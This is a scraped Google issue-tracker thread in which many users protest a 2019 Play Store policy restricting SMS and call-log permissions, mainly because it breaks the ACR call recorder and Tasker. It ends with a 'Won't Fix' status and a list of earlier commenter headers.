Oh yes, I will. I trust the developers and will not hesitate to install the app from another App Store.
You Google are pushing me, a customer, away from your Store. It makes no sense to me...

za...@gmail.com <za...@gmail.com> #919Jan 13, 2019 11:13PM

ACR Call Recording must be whitelisted

fa...@gmail.com <fa...@gmail.com> #920Jan 13, 2019 11:14PM

Pls make ACR an exception. Since this app, i am usung android.

ga...@gmail.com <ga...@gmail.com> #921Jan 13, 2019 11:15PM

Google! Why?! Those are Our phones! Let us do what we want...

za...@gmail.com <za...@gmail.com> #922Jan 13, 2019 11:15PM

Very stupid policy change to block call recording apps

ch...@gmail.com <ch...@gmail.com> #923Jan 13, 2019 11:15PM

I use Tasker and ACR extensively, every single day.
Stop messing around with permissions and let us customers decide what apps should have what access.

I don't want to switch to iOS, but I might as well if this continues

si...@gmail.com <si...@gmail.com> #924Jan 13, 2019 11:15PM

Gapple!

to...@yahoo.com <to...@yahoo.com> #925Jan 13, 2019 11:15PM

Do not neuter ACR with this change. Being able to record calls so fluidly is invaluable to my business for reference and legal protections.

ma...@gmail.com <ma...@gmail.com> #926Jan 13, 2019 11:16PM

I need that the app that I paid for, can read the calls. This is why I bought it.
ACR is a nice app. Hope it can continue working as it do.

ad...@gmail.com <ad...@gmail.com> #927Jan 13, 2019 11:17PM

This is a HUGE inconvenience for me as i have a landlord who threatens & harasses me constantly and my only form of proof are my recorded phone calls from the ACR app. Let the user of the application decide instead of Google making the decision for us. I'm now going to be paying for pro features of an app that Google has disabled. VERY UNHAPPY WITH GOOGLE!

on...@gmail.com <on...@gmail.com> #928Jan 13, 2019 11:17PM

If some users want to allow an app to access SMS, they should be able to. Please reconsider this draconian policy and make an exception for task type apps. Plain and simple.

ma...@gmail.com <ma...@gmail.com> #929Jan 13, 2019 11:17PM

Please do not Stop this Service

za...@gmail.com <za...@gmail.com> #930Jan 13, 2019 11:17PM

Google why cencorship? Do yoy hate freedom?

sh...@gmail.com <sh...@gmail.com> #931Jan 13, 2019 11:18PM

Please give ACR an exception. This restriction is ridiculous. This is bad for so many apps and is not necessary. Android is suppose to be more free and open or Google will be no better than apple if you continue to add restrictions like these.

kt...@gmail.com <kt...@gmail.com> #932Jan 13, 2019 11:18PM

I use ACR from

nllapps.com ( the pro version) and I am extremely pleased with it. What's the wrong with you Google?? My memory is not good and I rely on the recordings because they are easier than finding a paper & pen sometimes. Plus it deters the scammers and bill collectors. PLEASE allow us as individuals to make the decision you allow or disallow the permissions. Help us the people, not the big companies. They record us all the time. Come on Google. You were considered a friend in my contact list.

ja...@gmail.com <ja...@gmail.com> #933Jan 13, 2019 11:19PM

This change is f'ing ludicrous and should immediately be stopped in its course. You wonder why people want to root their phones, but the more restrictive you make your crap, the more people will tell you that they DGAF about what you say about rooting. I stopped for a while, but may go straight back because of crap like this.

da...@gmail.com <da...@gmail.com> #934Jan 13, 2019 11:20PM

Before this silly move, Google should have provided a native way to automatically record calls. But of course they don't care.

sh...@gmail.com <sh...@gmail.com> #935Jan 13, 2019 11:21PM

Leave this alone!!! I need to see the numbers which have called... Ridiculous Red Tape!!!

ne...@philosufi.com <ne...@philosufi.com> #936Jan 13, 2019 11:22PM

Hey Google - this sucks. A lot. While we all understand the need for data privacy and security, these decisions cannot be made by you, as you don't and can't know every use case. A call recorder app (I use ACR) becomes almost useless if it doesn't have access to the phone number! The choice of how I want my data to be used should be up to me - the paying user. (Of course, this is somewhat ironic, given your business model, but that's another topic.) This becomes as dumb as not knowing who sent you the email, or back in the last century, when someone left you a voice mail, but didn't leave their number. But worse.

Simple example: A person is being harassed over the phone. At the moment, ACR allows the victim to track who is harassing them and can go to the police or a lawyer. But, thanks to your unilateral decision, her life is made even more difficult. It's pretty easy to come up with other examples. But it's not easy to understand why you did this without allowing the end user to make a choice, like with so many other permissions.

im...@gmail.com <im...@gmail.com> #937Jan 13, 2019 11:23PM

If an app is fully transparent on what it is and only does what the description says and I chose to install and authorize it, Google has no right to limit the app that many of us find necessary enough to purchase. Leave the ACR app on the store and let them continue to provide the service I paid for.

ll...@gmail.com <ll...@gmail.com> #938Jan 13, 2019 11:23PM

Google, please reconsider this situation. I do understand that there are many ways in which these permissions could be used for nefarious purposes. Surely you must realise that there are very legitimate reasons to allow these permission uses in ways which enhance the user experience. I consider a compromise is appropriate rather than an outright ban. Have a chat with a few of the developers affected, I am quite sure a deal that works for everyone can be found.

os...@gmail.com <os...@gmail.com> #939Jan 13, 2019 11:23PM

The only reason why google is ahead of IOS is the freedom of custom you phone to your need, I guess they forgot how we choice to support Google and they forgot about the people who have spend money to buy the app when they sold to us on they own store, I wonder what is the policy or law when you permitted a make a contract to sell product or services, then to break it? Because it is still our phone, our app that we pay with good money through Google own store (shop), I expect a refunds from Google for them to break the condition for all the app that will be affected by this, because Google, you sold us these app on your store in the first place.

pa...@redenergy.com.au <pa...@redenergy.com.au> #940Jan 13, 2019 11:24PM

Please allow ACR to continue to have access to phone numbers.

I use ACR extensively as I make and take calls that deal with important issues relating to IT systems and investments. I need to be able to easily locate calls to and from specific other people.

1) The only reason apps are able to gain dangerous permission through stealth is because of your (Google's) insanely broad permission group structure! I understand that it's in Google's interests to have these so Google apps can access our private information by requesting seemingly innocuous permissions and then using our acceptance as an invitation to take whatever you want. But by giving yourselves this facility you've given it to every other app too, regardless of the developer's intention. If you were serious about blocking stealth attacks you would fix the permission group structure.

2) You have denied ACR an exception with the statement "We evaluated your declared feature "Call recording", however we determined it is not eligible for exceptions". But you provide no rationale. When requested to review your decision you merely repeated your statement and provided no further information. Your treatment of the developers who have underwritten the success of your operating system is arrogant, overbearing, and dictatorial. This is an application that specifically and explicitly declares its intention to record telephone conversations. What basis can there possibly be for preventing this application from associating phone numbers with those recordings? Your (Google's) decision in this matter is completely unjustifiable.

sh...@gmail.com <sh...@gmail.com> #941Jan 13, 2019 11:24PM

+1 for whitelisting ACR Pro and Tasker

da...@gmail.com <da...@gmail.com> #942Jan 13, 2019 11:24PM

This policy is ill conceived and dictatorial.
It affects legitamate apps in a manner that could expose developers and Google to class-actions.
Google is behaving like an inconsiderate uncaring bully.
Google's public image has been negatively affected by instigating this unfortunate change. The public's perception of Google will be further tarnished by Google continuing to operate in this dictatorial manner and will fuel justification for avoidance of the brand.
Arrogance is the prime cause of the decline of every great organization.
LOYALTY WORKS IN BOTH DIRECTIONS.

as...@gmail.com <as...@gmail.com> #943Jan 13, 2019 11:24PM

Google, you've implemented allowing users to grant individual permissions for apps, which is great, don't remove critical app permissions for developers to get their apps on the Play store.
Call recording with ACR is very useful and powerful.

jl...@gmail.com <jl...@gmail.com> #944Jan 13, 2019 11:24PM

Why does Google want to keep us from doing this? Someone is paying them too. I will not pay them for substandard service that is against my wishes... Definitely rooting until I can transfer to another service.

re...@gmail.com <re...@gmail.com> #945Jan 13, 2019 11:25PM

Please leave the necessary permissions to work correctly with the functionality currently available for the ACR Call Recorder application.
In the reduced version of permissions, you will force users to spend a lot of time comparing the call log and the call recording log. And with a large number of calls, it almost negates all the functionality, which is now extremely useful and important.

By canceling permission to use them, you do not increase security, but worsen it. Focus users on the permissions granted to applications, take other actions, but do not disable thoughtlessly similar functions at all.
As a result of the use of these prohibitions, users will look for workarounds for using the functions they need, either independently or with the help of other people who are not always familiar with them, bypass the prohibitions, get root-access, use applications from sources other than official ones. Or they will simply switch to using other mobile platforms.

ro...@mail.com <ro...@mail.com> #946Jan 13, 2019 11:25PM

Please don't cripple Tasker. It's the main reason why I choose to use Android over iOS. I've found in the past 2 years that it's one of the top 5 best features that makes it more desirable than iOS! I need it for call referencing with ACR & I will have far less desire to replace my current Samsung Galaxy S8 with anything Google or Android when the time comes if you follow through with this poor decision.

al...@gmail.com <al...@gmail.com> #947Jan 13, 2019 11:25PM

This is wrong on so many levels for so many apps...

Had I known that you were slowly making a closed and dumbed down ecosystem like apple I'd never ever have supported you during all these years.

Please whoever took the decision DIAF.

bu...@gmail.com <bu...@gmail.com> #948Jan 13, 2019 11:26PM

I heavily depend on the call recording of the ACR app by NLL for my business dealings. I need the call recording feature to be left accessible. Instead make it user selectable. Please don't start making Android restrictive like IOS.

ll...@gmail.com <ll...@gmail.com> #949Jan 13, 2019 11:26PM

This is just so wrong on so many levels makes me just want to get rid of my account and fig something else

r....@gmail.com <r....@gmail.com> #950Jan 13, 2019 11:27PM

I want ACR to be able to request permission to access numbers. This is a reasonable feature and I use this software for business purposes.

wa...@gmail.com <wa...@gmail.com> #951Jan 13, 2019 11:28PM

Please just leave it up to the user to add the permission that they choose to allow on any app. With the developer having to give a reason why that permission is needed, so that any suspect permission can be denied by the end user and reconfirmed on a regular basis maybe once a month that this is not a regular permission that Google likes to have in any app from the Play Store!

gi...@gmail.com <gi...@gmail.com> #952Jan 13, 2019 11:28PM

I use ACR as well, it's worked exceptionally well and I'd like to keep being able to record my calls. It's simply unnacceptable to have them stored without some association to the phone number they came from. It's totally ludicrous.

I appreciate the protection the play store provides and I avoid rooting my phone's or installing apk's from other sources. However policy decisions like this are what drove me away from Apple and are now forcing me to look beyond the garden walls.

Google please rescind this policy, or provide logical exceptions to good products.

dw...@gmail.com <dw...@gmail.com> #953Jan 13, 2019 11:28PM

c'mon google, what's the reason for this? I've been using ACR for checking details in detailed conversations with customers, sometimes up to months later. without access to caller ID information, there is no way that i will ever be able to locate the recording without hours of skipping through recordings. Android already has a security option for users to disallow app access, so why force it upon those of us who rely on the convenience feature? this will be a huge inconvenience for myself, and i'm sure 1000's of other users - it will affect my business, not to mention the businesses of the great app developers who put hours of time and effort into the apps that make android worthwhile.
WHY, WHY, WHY......? :(
let the user decide.....!!!

la...@gmail.com <la...@gmail.com> #954Jan 13, 2019 11:29PM

ACR has helped me go back to my recording to help myself with groceries from other people or the date of appointments for dentist. Crippling this will make it harder for me. Using this function as a reminder sure help me throughout the years. By you denying these features is crippling what we paid for in the phone. Apple as crippled a lot of things, that's why I switched to google android. by you simply doing that is making yourself be just like apple, where we cant do jack with our phones even though we paid premium on phones. If you decide on crippling these things, try crippling on more phones and leasing the price because I'm not paying 1000 dollars for a phone that doesn't do what I want. Very unfair for us.

j....@gmail.com <j....@gmail.com> #955Jan 13, 2019 11:29PM

The policy in question cripples the automatic call recorder ACR I rely on to record all my incoming and outgoing calls and to retrieve the recordings by phone number, which is all allowed by my local legislation. I find this capability very important. Google, you are letting me down. I'm a paying user of various Google services in my various capacities. I have dreaded the possibility that Google might at some point discontinue some of these. This is an example of such behavior, even if indirect. PLEASE RECONSIDER THIS POLICY OR WIDEN THE EXEMPTIONS TO COVER USEFUL APPS SUCH AS ACR.

ma...@gmail.com <ma...@gmail.com> #956Jan 13, 2019 11:30PM

Revent this feature!

zo...@gmail.com <zo...@gmail.com> #957Jan 13, 2019 11:30PM

As a CTF player and linux ninja, let's just say I understand your desire for security but end users are either responsible for their equipment or not. That has nothing to do with your platform and while removing apps/games with legitimate malware makes sense a blanket denying of permissions for only certain apps/games reeks of blatant censorship and I know that isn't your intended goal. Please think more on this issue. Posix has granular permissions too I can't see why we wouldn't be allowed to continue using that same style, which we're currently using, in the future. If a user downloads an app/game as it stands now do that not have the permission box at the bottom and do they not have to enable a good portion of those permissions after the app/game is downloaded/installed?

U2VjdXJpdHkgYnkgb2JzY3VyaXR5LCBpc24ndCBzZWN1cml0eS4=

mo...@gmail.com <mo...@gmail.com> #958Jan 13, 2019 11:31PM

Wow what can I say Google, way to restrict programs that I choose to use... and then tell me how they can be used little Nazi much?...guess I should stop using the rest of the google store...guess we are just going to violate people's rights to record calls and information can you stop doing a job you aren't requires to do please...

be...@gmail.com <be...@gmail.com> #959Jan 13, 2019 11:32PM

I don't want another Ios, i want Android! Google stop please! Save recording calls and the other apps

hp...@gmail.com <hp...@gmail.com> #960Jan 13, 2019 11:33PM

Dear Google,

The great majority of the people use ACR Call Recorder to preserve phone calls. I don't see the point in this decision of yours, and I don't think it is the right way or even it is clever. Also I would not undermine my reputation with hasty decisions like this if I were you.
Please consider it strongly to drop these limitations for phone call apps as it renders them almost useless.

Hoping for your reasonable decision!
Thank you.

be...@gmail.com <be...@gmail.com> #961Jan 13, 2019 11:33PM

Google please rethink your policy on this issue.
This change in policy does not make sense since the owner of the phone still has the ability to track the numbers by logging into there service provider account.
What you policy does just makes it harder for the user to verify the number called.
Please rethink your decision on this issue.

sk...@gmail.com <sk...@gmail.com> #962Jan 13, 2019 11:33PM

Please don't ruin ACR and other apps with this restriction, makes no sense.

je...@live.nl <je...@live.nl> #963Jan 13, 2019 11:39PM

Please don't go down this path. These restrictions are, in my opinion, a needless addition making the Android platform go in a direction of a system without any freedom or flexibility like iOS, which I was trying to avoid when buying an Android phone. Users need to be able to decide for themselves what apps they want to give what permissions.

ma...@gmail.com <ma...@gmail.com> #964Jan 13, 2019 11:40PM

I'm a first responder volunteeribg for the ambulance service and our apps for alerting volunteers to a call rely on phone/SMS automation features in tasker which you are blocking now. Please think again and keep Android what it is: an open system which gives users a choice and not a closed system for dumb users like iOS.

ad...@gmail.com <ad...@gmail.com> #965Jan 13, 2019 11:40PM

Please do not restrict the use of callingrecorder app ACR.

be...@gmail.com <be...@gmail.com> #966Jan 13, 2019 11:41PM

If Google wish to implement this feature, then Google will have to reimburse me for my upgraded app package. Google are breaching my terms with the app developer. After all a large percentage of what I paid went to Google instead of to the developer of ACR

This should be down to an individual to choose, not a faceless conglomerate, who say they are acting in the users interest but only care about the money.

cu...@gmail.com <cu...@gmail.com> #967Jan 13, 2019 11:41PM

I'm against this restriction in general, but I will specifically be adversely affected by this in regards to using ACR to record calls. Add me to the list of votes against this policy.

r....@gmail.com <r....@gmail.com> #968Jan 13, 2019 11:41PM

Wow, this is what google has sunk to doing.

ko...@gmail.com <ko...@gmail.com> #969Jan 13, 2019 11:42PM

I need call recording to work correctly. This new policy will drive me to rooting my phone, rolling back to an older android, and not applying this update. Why are you so determined to destroy call recording for the users? In my country i can record whoever i want, wherever i want, and nobody can tell me not to do it. I don't understand what are you trying to achieve here, but i am the owner of my phone, and i will use it how i see fit - not how you want me to. Don't forget to add a tape voice recorder ban to the EULA!

da...@gmail.com <da...@gmail.com> #970Jan 13, 2019 11:43PM

Please don't do this Google. This aspect is one of the amazing things about Android. ACR has saved me so many times.

ze...@gmail.com <ze...@gmail.com> #971Jan 13, 2019 11:43PM

This new policy is denying users the ability to use apps that are useful if not essential to the way they use their phones. Android is for users, let them vet the apps they want to use and make developers give full description of permissions. That is the only way that this should work, not blanket censorship. Android is about openness not close mindedness. If you deny this kind of usage, you will drive away a lot of users and lose the dominance you have, especially as Google very likely allows itself to access this data, so is hypocritical and unethical.

ch...@gmail.com <ch...@gmail.com> #972Jan 13, 2019 11:43PM

Please don't remove a feature that is this useful. Call recording is extremely useful to me personally and to my business. I understand that there's a risk of abuse here, but it seems like there's a better solution then removing the feature. More information and giving the user a choice instead of making the choice for them for instance.

su...@gmail.com <su...@gmail.com> #973Jan 13, 2019 11:44PM

Please don't ruin ACR and other apps with this restriction. I use ACR regularly and need to keep track of the numbers I call and that call me without extra work.

dj...@gmail.com <dj...@gmail.com> #974Jan 13, 2019 11:45PM

Uma grande palhaçada bloquear essas funções, isso deve ficar a cargo do usuário! Deixar desabilitado por padrão, tudo bem, remover é ridículo! E o Google vai fornecer opção funcional para isso? Simplesmente desapontado, penso logo em retornar ao iOS. :/

ho...@gmail.com <ho...@gmail.com> #975Jan 13, 2019 11:45PM

Google stop being a bully and mind your own business we the people and consumers have every right to have full use of this application for both personal and business use please do not make restrictions nobody else wants accept for you just a joke.

se...@scribescorporate.net <se...@scribescorporate.net> #976Jan 13, 2019 11:46PM

Dear Google,
ACR is an app that helps users security and allows a direct record so users are not just at the mercy of some external company who can decide whether you can access a conversation with them or not. Please do not curtail this user benefit.

mc...@gmail.com <mc...@gmail.com> #977Jan 13, 2019 11:46PM

I choose Android for Google and this is how I am repaid ! Google making an unexplained decesion with great consequences! Reconsider !

ph...@gmail.com <ph...@gmail.com> #978Jan 13, 2019 11:46PM

Dear Google, please do not limit the app ACR by NLL Apps to no longer have the permissions it needs to function as it is intended to and always has. Please take my objection, as well as so many other users' objections, to your new policy seriously.

ja...@anrev.com <ja...@anrev.com> #979Jan 13, 2019 11:47PM

Please don't ruin ACR, tasker, and other apps with this restriction, makes no sense. What is your agenda behind this?

bd...@gmail.com <bd...@gmail.com> #980Jan 13, 2019 11:47PM

I use ACR. It is my right to record calls. I have had calls that threaten my life. Just because in the US there is a rule against recording calls why does the rest of the world have to suffer. So as a result we have to side load this shit from a separate website. What a joke.

I have everything with Google my home, my business the lot. If i wanted to be with a draconian empire I would be with Apple. Sort your shit our Google.

dr...@gmail.com <dr...@gmail.com> #981Jan 13, 2019 11:47PM

This change will ruin the two main things I use my phone for - automation and call recording. The entire point of Android is an open development environment that allows the user to customize however we want. Locking down permissions like this is the antithesis of what Android stands for, and one more step towards the "we know what you want better than you do" problem that apple has.

cd...@gmail.com <cd...@gmail.com> #982Jan 13, 2019 11:48PM

Google please listen to your customers and do not effectively destroy ACR by NLL, as a user I am fully aware of the permissions granted and gladly accept them because this app has proved itself many many times over. I purchased Google One additional storage so my calls can be stored for my own specific purposes.

dc...@gmail.com <dc...@gmail.com> #983Jan 13, 2019 11:51PM

As usual, someone thinks they know what i want or what is best for me. Well, this is not! I say again, NOT! What i want. I have the right to record any and all conversations that i want. And now you think you know what i want.IWANT TO BE ABLE TO RECORD MY CALLS WITHOUT RESTRICTION!!!! PERIOD!!!!!

sa...@gmail.com <sa...@gmail.com> #984Jan 13, 2019 11:51PM

Google, please... ACR recordings calls os the only app I haverá round tô jeep my family and I protected. I work in a protecting service, and haverá received some nada calls in the past... Recording calls with the caller ID makes us feel safer. Please, DON'T change It! (Sorry for my english, Thais ia not my mother language)...

ai...@gmail.com <ai...@gmail.com> #985Jan 13, 2019 11:52PM

Nie ma to jak zmieniać zasad podczas gry.
Wstydzcie się...

ga...@gmail.com <ga...@gmail.com> #986Jan 13, 2019 11:53PM

Google, don't decide for us to whom we won't to give permission or not!

th...@gmail.com <th...@gmail.com> #987Jan 13, 2019 11:54PM

+1 to #982

al...@gmail.com <al...@gmail.com> #988Jan 13, 2019 11:54PM

Google turn off your policy to limit ACR call recording.
It's an important tool and we want it!!!

ip...@gmail.com <ip...@gmail.com> #989Jan 13, 2019 11:54PM

Please do not remove this functionality. I use ACR pro to record phone calls with my ISP, and report fraudulent behavior back to the company. ACR lets me keep important calls for business and save phone calls with loved ones who are in poor health. Android in its current implementation is the only major phone OS that lets me do this without a jailbreak. Don't take this feature away.

je...@gmail.com <je...@gmail.com> #990Jan 13, 2019 11:55PM

I paid almost $1000.00 for my Android I have also purchased A call recording program through play store that I use in my daily business dealings to list incoming and out going phone #' and record calls. I understand you are disabling these functions. If I autrorize an app to perform these functions it quite frankly is none of your damn business. I bought and paid for this product and will use it how I wish. Shall we file a class action complaint with the US Congress and have your CEO testify before them? I suggest you change course on this decision, I don't take kindly to corporations telling me how I can use what I own.
J Redmond Virginia, USA

ga...@gmail.com <ga...@gmail.com> #991Jan 13, 2019 11:55PM

Google, don't decide for us to whom we want to give permission or not!

uk...@gmail.com <uk...@gmail.com> #992Jan 13, 2019 11:55PM

You're killing a range of useful apps including ACR.
PLEASE PLEASE offer a working solution to manufacturers to get the phone number. You should alter your permission structure rather than a blanket ban.

sp...@gmail.com <sp...@gmail.com> #993Jan 13, 2019 11:55PM

Please stop making,to us a stupid and ill thought out policy work. You can see the amount of users giving you their valid reasons why this should NOT happen. The least you can do is give them options IF they still want to use this sort of app that accesses these items not just put your hitlerian boot down on us.

wa...@gmail.com <wa...@gmail.com> #994Jan 13, 2019 11:57PM

Google,

I have paid for a recorder app, and I give my permission to this app to backup my calls. You receive part of my payment for this call recorder app in the same way you got part of any money transaction in play store.

So, I suggest you to stop this or we will talk on court.

Thanks!

je...@gmail.com <je...@gmail.com> #995Jan 13, 2019 11:59PM

I do not support Google's decision to deny ACR an exception from this new policy. ACR should be offered an exception or compensation.

po...@gmail.com <po...@gmail.com> #996Jan 13, 2019 11:59PM

I need ACR with full functionality including saving caller Phone number

st...@gmail.com <st...@gmail.com> #997Jan 13, 2019 11:59PM

Dear Google, please do not apply this restriction, I need to know my own called and calling phone numbers for the purposes of my business.

do...@googlemail.com <do...@googlemail.com> #998Jan 14, 2019 12:00AM

Why are Google hell-bent on controlling what we can and can't do with our own phones and why do they think the worst of their users? ACR has so many positive benefits. I uses it for recording complex technical business meetings where the finer details of what has been discussed can be recorded and recalled. When you're attending multiple meetings in a day, it can be difficult to recall everything you've discussed and ACR is an excellent tool for this purpose. This policy will remove this useful tool from thousands of legitimate users and additionally impact the ACR developers, not to mention the FREE advertising generated from the FREE app version. Google you should be ashamed! You're turning in to Apple & Microsoft control freaks! Do you really think this is a good idea? Why are you rejecting the ACR's Developers appeal? Publish your reasons and perhaps people might be a little more understanding. At the moment, you're coming across as a bullying conglomerate. What's you bets you release a similar app with a ridiculous price tag?

dm...@3vium.com <dm...@3vium.com> #999Jan 14, 2019 12:01AM

You going Apple steps, where all closed and restricted. This is BAD part of Apple. One of reasons we, users choose Android because it is more opened. Please don't make Android like IOS. We want Android as more open and free systems !!!!!!

ab...@gmail.com <ab...@gmail.com> #1000Jan 14, 2019 12:02AM

I paid for these features of this app. As i clearly requested these fearures you, Google, should NOT restrict these features that I, the consumer, requested.
Google, you should allow clearly declared features like this exceptions. I use this for legal reasons. It allows me to keep records of conversations that take place on my phone. I also use it to replay conversations so i can remember anything that i might need to know from the conversation, like information i need to gather or instructions i might need for later.

[Deleted User] <[Deleted User]> Apr 10, 2019 08:11AM

deleted

Restricted

0 B

[Deleted User] <[Deleted User]> Apr 16, 2019 05:41AM

deleted

Restricted

0 B

deleted

Restricted

0 B

vi...@google.com <vi...@google.com> Dec 9, 2019 09:03AM

Reassigned to cc...@google.com.

vi...@google.com <vi...@google.com> Feb 21, 2023 10:50PM

Status: Won't Fix (Intended Behavior)

Issue 117486314

Description

Issue summary

Comments

ad...@google.com <ad...@google.com> Oct 10, 2018 09:55AM

ad...@google.com <ad...@google.com> #2Oct 10, 2018 11:07AM

tr...@gmail.com <tr...@gmail.com> #3Oct 17, 2018 03:31PM

st...@yahoo.com <st...@yahoo.com> #4Nov 10, 2018 04:07PM

rc...@gmail.com <rc...@gmail.com> #5Nov 11, 2018 08:58AM

lb...@gmail.com <lb...@gmail.com> #6Nov 11, 2018 09:06AM

ri...@gmail.com <ri...@gmail.com> #7Nov 11, 2018 09:22AM

lb...@gmail.com <lb...@gmail.com> #8Nov 11, 2018 09:26AM

me...@gmail.com <me...@gmail.com> #9Nov 11, 2018 09:45AM

ch...@gmail.com <ch...@gmail.com> #10Nov 11, 2018 09:47AM

gr...@gmail.com <gr...@gmail.com> #11Nov 11, 2018 10:07AM

ra...@gmail.com <ra...@gmail.com> #12Nov 11, 2018 10:36AM

ga...@gmail.com <ga...@gmail.com> #13Nov 11, 2018 10:51AM

an...@gmail.com <an...@gmail.com> #14Nov 11, 2018 11:01AM

da...@gmail.com <da...@gmail.com> #15Nov 11, 2018 11:10AM

nk...@gmail.com <nk...@gmail.com> #16Nov 11, 2018 11:16AM

be...@gmail.com <be...@gmail.com> #17Nov 11, 2018 11:23AM

sa...@gmail.com <sa...@gmail.com> #18Nov 11, 2018 11:35AM

ch...@gmail.com <ch...@gmail.com> #19Nov 11, 2018 11:49AM

jd...@gmail.com <jd...@gmail.com> #20Nov 11, 2018 11:55AM

ea...@gmail.com <ea...@gmail.com> #21Nov 11, 2018 11:59AM

to...@gmail.com <to...@gmail.com> #22Nov 11, 2018 12:01PM

ve...@gmail.com <ve...@gmail.com> #23Nov 11, 2018 12:20PM

ji...@gmail.com <ji...@gmail.com> #24Nov 11, 2018 12:23PM

ga...@gmail.com <ga...@gmail.com> #25Nov 11, 2018 12:49PM

dr...@gmail.com <dr...@gmail.com> #26Nov 11, 2018 12:50PM

je...@jwhetzel.com <je...@jwhetzel.com> #27Nov 11, 2018 01:03PM

ri...@gmail.com <ri...@gmail.com> #28Nov 11, 2018 01:14PM

z2...@gmail.com <z2...@gmail.com> #29Nov 11, 2018 01:25PM

da...@gmail.com <da...@gmail.com> #30Nov 11, 2018 01:33PM

ni...@gmail.com <ni...@gmail.com> #31Nov 11, 2018 01:37PM

jt...@gmail.com <jt...@gmail.com> #32Nov 11, 2018 01:41PM

pa...@gmail.com <pa...@gmail.com> #33Nov 11, 2018 01:46PM

th...@gmail.com <th...@gmail.com> #34Nov 11, 2018 02:01PM

tl...@gmail.com <tl...@gmail.com> #35Nov 11, 2018 02:02PM

br...@gmail.com <br...@gmail.com> #36Nov 11, 2018 02:07PM

jo...@gmail.com <jo...@gmail.com> #37Nov 11, 2018 02:16PM

ni...@gmail.com <ni...@gmail.com> #38Nov 11, 2018 02:20PM

ex...@gmail.com <ex...@gmail.com> #39Nov 11, 2018 02:25PM

br...@gmail.com <br...@gmail.com> #40Nov 11, 2018 02:30PM

or...@gmail.com <or...@gmail.com> #41Nov 11, 2018 02:39PM

mo...@comcast.net <mo...@comcast.net> #42Nov 11, 2018 02:40PM

gu...@gmail.com <gu...@gmail.com> #43Nov 11, 2018 02:50PM

mo...@gmail.com <mo...@gmail.com> #44Nov 11, 2018 03:05PM

mi...@gmail.com <mi...@gmail.com> #45Nov 11, 2018 03:14PM

ka...@gmail.com <ka...@gmail.com> #46Nov 11, 2018 03:14PM

vi...@gmail.com <vi...@gmail.com> #47Nov 11, 2018 03:16PM

jo...@gmail.com <jo...@gmail.com> #48Nov 11, 2018 03:27PM

jo...@gmail.com <jo...@gmail.com> #49Nov 11, 2018 03:31PM

ma...@gmail.com <ma...@gmail.com> #50Nov 11, 2018 03:47PM

ht...@gmail.com <ht...@gmail.com> #51Nov 11, 2018 03:50PM

mc...@gmail.com <mc...@gmail.com> #52Nov 11, 2018 03:53PM

ge...@gmail.com <ge...@gmail.com> #53Nov 11, 2018 03:58PM

nj...@gmail.com <nj...@gmail.com> #54Nov 11, 2018 04:02PM

vo...@gmail.com <vo...@gmail.com> #55Nov 11, 2018 04:03PM

dt...@gmail.com <dt...@gmail.com> #56Nov 11, 2018 04:15PM

na...@gmail.com <na...@gmail.com> #57Nov 11, 2018 04:20PM

ph...@gmail.com <ph...@gmail.com> #58Nov 11, 2018 04:24PM

ja...@gmail.com <ja...@gmail.com> #59Nov 11, 2018 04:33PM

la...@gmail.com <la...@gmail.com> #60Nov 11, 2018 04:44PM

jo...@gmail.com <jo...@gmail.com> #61Nov 11, 2018 04:46PM

dr...@gmail.com <dr...@gmail.com> #62Nov 11, 2018 04:47PM

ba...@gmail.com <ba...@gmail.com> #63Nov 11, 2018 04:48PM

fi...@gmail.com <fi...@gmail.com> #64Nov 11, 2018 04:49PM

pa...@gmail.com <pa...@gmail.com> #65Nov 11, 2018 04:54PM

ak...@gmail.com <ak...@gmail.com> #66Nov 11, 2018 04:58PM

ti...@gmail.com <ti...@gmail.com> #67Nov 11, 2018 05:08PM

dc...@gmail.com <dc...@gmail.com> #68Nov 11, 2018 05:12PM

mj...@gmail.com <mj...@gmail.com> #69Nov 11, 2018 05:12PM

ma...@gmail.com <ma...@gmail.com> #70Nov 11, 2018 05:15PM

fa...@gmail.com <fa...@gmail.com> #71Nov 11, 2018 05:17PM

al...@gmail.com <al...@gmail.com> #72Nov 11, 2018 05:17PM

fi...@gmail.com <fi...@gmail.com> #73Nov 11, 2018 05:20PM

p0...@gmail.com <p0...@gmail.com> #74Nov 11, 2018 05:26PM

ju...@gmail.com <ju...@gmail.com> #75Nov 11, 2018 05:27PM

mi...@gmail.com <mi...@gmail.com> #76Nov 11, 2018 05:30PM